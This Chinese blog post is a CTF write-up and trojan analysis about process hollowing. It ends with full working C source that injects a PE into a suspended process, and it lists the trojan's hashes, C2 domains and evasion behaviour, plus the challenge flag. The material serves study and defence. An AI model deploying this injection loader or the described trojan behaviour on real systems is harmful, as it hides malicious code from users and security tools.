最近做了一道18年swpuctf的題,分析了一個病毒,正巧都用到了傀儡程序,就想著把傀儡程序學習一下。本文權當個人的學習總結了一些網上的文章,如有錯誤,還請路過的大佬斧正。
進入main函數
先獲取當前目錄,再拼上GAME.EXE
進入sub_4011D0
首先尋找資源,做準備工作,進入sub_4012C0
1)檢測PE結構
2) CreateProcessA 建立程序
3)GetThreadContext 得到程序上下文資訊,用於下文計算基地址
4)sub_4016F0
到ntdll.dll裡找到NtUnmapViewOfSection函數
5)VirtualAllocEx 跨程序,在目標程序申請空間
6)寫入檔案
7)SetThreadContext 恢復現場
8) 執行傀儡程序
我們來找找注入的程式
把GAME.EXE載入到010editor裡,搜尋"MZ"
dump出來,就是剛剛注入到傀儡程序的程式了。
我們把它命名為 game2.exe
載到IDA裡分析
發現是D3D繪製
之後的解題與本文關係不大,這裡直接把官方的WP搬運來了https://www.anquanke.com/post/id/168338
通過字串[Enter]可以跟蹤到獲取輸入以及返回上一層的地
這裡用了’ – ’符來分割string,然後儲存到vector中。並且判斷vector中string的個數是否是4以及每一個string的長度是否是4
接著傳入前面兩部分進行一次加密,可以根據常數識別出這是DES演演算法,這裡把DES的subkeys進行了一次移位,並且修改了sbox3開頭的5個位元組,然後把結尾結果減去0x10,之後再進行一個簡單的方程check。解方程可以得到另外兩部分是個常數。
DES部分可以網上找個標準的DES把這幾部分改一下就能解出FLAG:HOPE-UCAN-GOOD-GAME
本題的sub_4012C0,就是在進行傀儡程序的編寫,有必要仔細的說說傀儡程序
文章: https://blog.csdn.net/darcy_123/article/details/102532411
首先使用CreateProcess傳入CREATE_SUSPENDED
建立一個掛起的程序,以下稱為傀儡程序,然後使用GetThreadContext讀取傀儡程序的上下文資訊,通過DWORD
指標指向CONTEXT的EBX,DWORD + 8 位元組可以讀取到傀儡程序的基地址,然後計算傀儡程序的映象大小
然後把自己的資料讀入到傀儡程序內,設定CONTEXT上下文入口點資訊EAX,並恢復程序主執行緒
上文已經寫得很詳細了,個人覺得重要的點
1)在CreateProcess時,注意環境問題 lpCurrentDirectory
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
2) 計算基地址
context.Ebx + 8 = 基地址,因此從context.Ebx + 8的地址讀取4位元組的內容並轉化為DWORD型別,即是程序載入的基地址。
3) VirtualAllocEx時的許可權問題
4)VirtualAllocEx重定位的問題
一般情況下,在寫入傀儡程序對應的檔案按照申請空間的首地址作為基地址進行「重定位」,這樣才能保證傀儡程序的正常執行。為了避免這一步操作,可以以傀儡程序PE檔案頭部的建議載入基地址作為VirtualAllocEx的lpAddress引數,申請與之對應的記憶體空間,然後以此地址作為基地址將傀儡程序寫入目標程式,就不會存在重定位問題。關於「重定位」的原理可以自行網路查詢相關資料
我們來看看實際上病毒用到的傀儡程序
MD5 ba46b18f05ab2b24df26e343dd32946b
SHA-1 34f07e131d4f147af96d262eee761582c6f0b1a4
SHA-256 32db88982a0d0f92804c4c53ffd8555935871e23b35a9d362e037353cb6b44c5
Vhash bf09954b6ff12217cd0df0f93c7488e4
SSDEEP 24576:yij8jlUoiuFhypnWmUOJ4H0zMY/lspoBbRzRrT9MUF5jawb:yDhUoMFUcvo6FlrT2wb
File type RAR
Magic RAR archive data, v1d, os: Win32
File size 893.13 KB (914570 bytes)
環境win7 x64
是一個.rar檔案
在虛擬機器器裡改字尾為.rar
解壓:
可以簡單的發現一個偽裝成資料夾的.exe
查殼
沒有
然後GUI,有介面的程式
用LoadPE去看一下區段,資源等資訊
看一下重定位
和資源
關注一下匯入表
0x0311 "WriteFile"
0x0038 "CreateFileA"
0x005F "DeleteFileA"
0x0240 "ReadFile"
0x0128 "GetFileSize"
0x020D "OpenFile"
0x0298 "SetFilePointer"
0x0048 "CreateProcessA
0x002B "CopyFileA"
0x00CC "GetACP"
可能會新建新的檔案
IDA詳細分析
先搜字串
pavfnsvr.exe
sfctlcom.exe
後來看別人的分析,這兩個檔案是安全程式
IDA開始分析
開始時,一些準備工作,之後檢測版本號
申請堆,
釋放後,把申請的堆的控制程式碼,放到40E968的位置
呼叫4057AE
檢測檔案的PE結構
主要是檢測PE結構,然後驗證目錄項要比14項多
之後回到start函數 sub_40624F
檢測的就是下圖紅框圈出來的那兩個
之後:
與SEH的高階使用有關
通過GetCommandLineA獲取當前檔案的路徑
"C:\Users\Administrator\Desktop\bingdu\1\bingdu\1\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE" 的地址存到了410268(00271F50)
sub_408D2C函數獲取環境資訊
獲取"ALLUSERSPROFILE=C:\ProgramData",
在將寬字元轉成多位元組
之後進入
V13為0x271fa6 ..(\洳..C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.;的指標
V6為10
進入函數:
首先會獲取當前程序已載入模組的檔案的完整路徑
然後載入到緩衝區
把當前的目錄傳入402120
進入402120
會呼叫兩次401450
看一下401450
rep stosd:
在網上查了相關資料顯示:
/************************************************************/
lea edi,[ebp-0C0h]
mov ecx,30h
mov eax,0CCCCCCCCh
rep stos dword ptr es:[edi]
rep指令的目的是重複其上面的指令.ECX的值是重複的次數.
STOS指令的作用是將eax中的值拷貝到ES:EDI指向的地址.
首先獲取當前的路徑
開啟檔案讀取
獲取windows的目錄
在源目錄生成.bak檔案
生成資料夾
把檔案備份到"C:\Windows\Help\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.bak"
在把原來的.bak刪除
進入402680
首先找到生成的空資料夾
在記憶體裡讀取檔案 1.jpg
將1.jpg和.archd作為引數進入4046A0
拼出路徑
將j.jpg換成1.liz
按照路徑寫入檔案,再將1.liz換成1.jpg
迴圈7次生成7張圖片
第8次,生成Thumbs.db檔案
之後把C:/Windows/Help裡的備份刪除
進入第二個401450
先找到程式獲取臨時目錄檔案路徑
然後拼出路徑
"C:\Users\ADMINI~1\AppData\Local\Temp\\rat.EXE"
如果存在直接開啟,不存在就建立
之後createprocess
建立程序,執行rat.EXE
先拼出來byeyou.tmp的路徑
之後 遍歷所有程序,保證沒有sftlcom.exe與pavfnsur.exe
把原檔案(18XXXX.EXE)移動到byeyou.tmp
沒有殼
自啟動(嫖的圖)
登入檔相關(嫖的圖)
去找ctfmon.exe的目錄
拼路徑 將rat.exe copy成ctfmon.exe
之後尋找資源
拼出"C:\Windows\system32\alg.exe"
作為引數扔到sub_4016D0執行
建立掛起程序 && 儲存現場,收集資訊
之後像上述ctf一樣找到注入到傀儡程序的.exe
Dump出來起名為abc.def
看一下字串
進入WinMain函數
首先進入sub_405BD0
先解密字串從advapt32.dl,呼叫需要的函數
提權
之後進入 sub_401720解密接下來需要的字串
回到WinMain
從KERNEL32.DLL找需要的函數
之後進入sub_405960
進入遠控函數
首先登入一個網站
儲存返回的資料
之後就沒辦法動調了
把返回的資料按照自己定義的字元切割
進入405DB0函數,依舊是解密
接著分配套介面,連上
進入403190
開始從.Dll裡提取需要的函數
1.
2.
3.
4.
5&6
之後傳入域名引數
獲得本機的ip
能不能ping得通
檢測系統版本
CPU資訊
作業系統版本
獲取磁碟資訊
對檔案操作
建立,讀
刪除,重新命名
移動
複製
列出程序 &&殺死程序
解除安裝
關機重新啟動
截圖
接著還會在傳入其他的兩個域名
cn.fetftp.nu "rt.softseek.org"
進入403190控制函數
稍微修改了點去做別的用了
#include<stdio.h>
#include<windows.h>
#include<winbase.h>
struct _PROCESS_INFORMATION ProcessInfomation;
int main()
{
LPVOID pAlloc1;
LPVOID pAlloc2;
HANDLE hfile;
PIMAGE_NT_HEADERS pPeHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
int lastError, ReadInfo = 0;
DWORD BytesRead = 0;
CONTEXT Context = { 0 };
Context.ContextFlags = CONTEXT_ALL;
char lpName[260];
//準備路徑
char Patch[] = "C:\\play.exe";//注入傀儡程序的.exe的路徑
LPCSTR p = (const char*)Patch;
//轉移檔案
//以掛起的方式建立傀儡程序,並獲取程序基址
STARTUPINFOA StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInfomation = { 0 };
StartupInfo.cb = sizeof(StartupInfo);
GetModuleFileName(0, lpName, 520);
if (!CreateProcess(lpName, NULL, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInfomation))。
{
lastError = GetLastError();
printf("CreateProcess fail LastError:%d\n", lastError);
};
if (!GetThreadContext(ProcessInfomation.hThread, &Context))
{
lastError = GetLastError();
printf("GetThreadContext fail LastError:%d\n", lastError);
};
if (!ReadProcessMemory(ProcessInfomation.hProcess, (LPCVOID)(Context.Ebx + 0x8), &ReadInfo, 4, 0))
{
lastError = GetLastError();
printf("GetProcessImageBase fail LastError:%d\n", lastError);
//printf("%d\n", dwIO);
};
printf("ProcessImageBase:address 0x%x\n", ReadInfo);
// 把準備注入到傀儡程序的程式讀進記憶體
hfile = CreateFileA(p, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
//lastError = GetLastError();
//printf("%d\n", lastError);
pAlloc1 = VirtualAlloc(NULL, 0x70000, 0x3000, 4);//sucessful
//printf("%d", pAlloc1);
ReadFile(hfile, pAlloc1, 0x70000, &BytesRead, 0);
pPeHeader = (PIMAGE_NT_HEADERS)((PBYTE)pAlloc1 + ((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);//sucessful
//printf("%d", pPeHeader);
pSectionHeader = (IMAGE_SECTION_HEADER*)((char*)&pPeHeader->OptionalHeader + pPeHeader->FileHeader.SizeOfOptionalHeader);//sucessful
//printf("%d", pSectionHeader);
//向傀儡程序申請記憶體空間
SetLastError(0);
pAlloc2 = VirtualAllocEx(ProcessInfomation.hProcess, (LPVOID)pPeHeader->OptionalHeader.ImageBase, pPeHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, 64);
//printf("%d\n", pAlloc2);
if (!pAlloc2)
{
lastError = GetLastError();
printf("VirtualAllocEx fail LastError:%d\n", lastError);
TerminateProcess(ProcessInfomation.hProcess, 0);
return 0;
}
printf("AllocExBase: %x\n", pAlloc2);
//寫入PE頭
if (WriteProcessMemory(ProcessInfomation.hProcess, pAlloc2, pAlloc1, pPeHeader->OptionalHeader.SizeOfHeaders, 0))
{
printf("write PeHeader Success !\n");
}
//寫入節表,分節表寫入會使得程式展開在程序中
int NumofSection = pPeHeader->FileHeader.NumberOfSections;
for (int i = 0;i < NumofSection;i++)
{
LPVOID pAllocRawAddressSection = (char*)pAlloc1 + pSectionHeader->PointerToRawData;
LPVOID pAllocVirtualAddressSection = (char*)pPeHeader->OptionalHeader.ImageBase + pSectionHeader->VirtualAddress;
if (WriteProcessMemory(ProcessInfomation.hProcess, pAllocVirtualAddressSection, pAllocRawAddressSection, pSectionHeader->SizeOfRawData, 0))
{
printf("write the %d section success !\n", i + 1);
}
else
{
lastError = GetLastError();
printf("write the %d section fail ! lastError:%d\n", i + 1, lastError);
}
pSectionHeader++;
}
//設定傀儡程序的程序基址0x400000
if (WriteProcessMemory(ProcessInfomation.hProcess, (char*)Context.Ebx + 8, &pPeHeader->OptionalHeader.ImageBase, 4, 0))
{
printf("set Process ImageBase is 0x400000 success !\n");
}
//設定傀儡程序的程序OEP 為注入程式的OEP
Context.Eax = pPeHeader->OptionalHeader.ImageBase + pPeHeader->OptionalHeader.AddressOfEntryPoint;//設定入口點地址 一定別忘了加基址
if (SetThreadContext(ProcessInfomation.hThread, &Context))
{
printf("set Thread Context success !\n");
}
//恢復執行緒執行
if (ResumeThread(ProcessInfomation.hThread) != (DWORD)-1)
{
lastError = GetLastError();
printf("Resume Thread success ! \n");
}
system("pause");
return 0;
}
emmmm不知道說啥,溜了